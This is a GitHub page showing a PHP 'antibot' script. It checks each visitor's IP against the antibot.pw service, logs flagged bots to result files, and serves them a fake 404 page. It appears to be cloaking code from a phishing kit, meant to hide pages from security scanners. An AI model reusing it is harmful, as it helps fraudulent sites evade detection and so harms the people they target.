-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathblocker2.php
46 lines (44 loc) · 1.7 KB
/
blocker2.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
$config_antibot = trim(file_get_contents("antibot.ini"));
if(isset($config_antibot)) {
function getUserIPszz()
{
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}else{
$ip = $remote;
}
return $ip;
}
$ip = getUserIPszz();
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Antibot Blocker");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "https://antibot.pw/api/v2-blockers?ip=".$ip."&apikey=".$config_antibot."&ua=".urlencode($_SERVER['HTTP_USER_AGENT']));
$data = curl_exec($ch);
curl_close($ch);
$_SESSION['antibot_wasChecked'] = true;
$x = json_decode($data,true);
if($x['is_bot']){
$_SESSION['is_bot'] = true;
$file = fopen("antibot-block.txt","a");
$message = $ip."\n";
fwrite($file, $message);
fclose($file);
$click = fopen("result/total_bot.txt","a");
fwrite($click,"$ip|Antibot Blocker"."\n");
fclose($click);
header('HTTP/1.0 403 Forbidden');
die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>');
} else {
$_SESSION['is_bot'] = false;
}
}